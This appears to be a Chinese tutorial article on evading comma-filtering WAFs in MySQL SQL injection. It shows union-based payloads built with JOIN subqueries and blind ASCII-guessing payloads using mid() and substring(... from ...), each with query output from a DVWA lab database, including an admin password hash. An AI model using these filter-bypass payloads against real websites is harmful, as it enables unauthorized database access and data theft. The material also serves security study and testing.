SQL注入技巧之显注与盲注中过滤逗号绕过详析
时间：2021-01-20 14:16:44|栏目：|点击： 次
前言
sql注入在很早很早以前是很常见的一个漏洞。后来随着安全水平的提高，sql注入已经很少能够看到了。但是就在今天，还有很多网站带着sql注入漏洞在运行。下面这篇文章主要介绍了关于SQL注入逗号绕过的相关内容，分享出来供大家参考学习，下面话不多说了，来一起看看详细的介绍吧
1.联合查询显注绕过逗号
在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位，语句中包含了多个逗号，如果有WAF拦截了逗号时，我们的联合查询不能用了。
绕过
在显示位上替换为常见的注入变量或其它语句
union select 1,2,3; union select * from ((select 1)A join (select 2)B join (select 3)C）; union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在数据库中演示联合查询
UNION开始是我们在URL中注入的语句，这里只是演示，在实际中如果我们在注入语句中有逗号就可能被拦截
mysql> select user_id,user,password from users union select 1,2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.04 sec)
不出现逗号，使用Join来注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C); +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
查询我们想要的数据
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);; +---------+-------+-------------------------------------------------+ | user_id | user | password | +---------+-------+-------------------------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ | +---------+-------+-------------------------------------------------+ 2 rows in set (0.08 sec)
2.盲注中逗号绕过
MID 和substr 函数用于从文本字段中提取字符
mysql> select mid(user(),1,2); +-----------------+ | mid(user(),1,2) | +-----------------+ | ro | +-----------------+ 1 row in set (0.04 sec)
查询数据库用户名第一个字符的ascii码
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 114 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
盲注，通过猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ; Empty set mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.04 sec)
逗号绕过SUBTTRING 函数
substring(str FROM pos)
从字符串str的起始位置pos 返回一个子串
mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)
注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; Empty set //substring(user() from 2)为o //o的ascii为111， mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.03 sec)
总结
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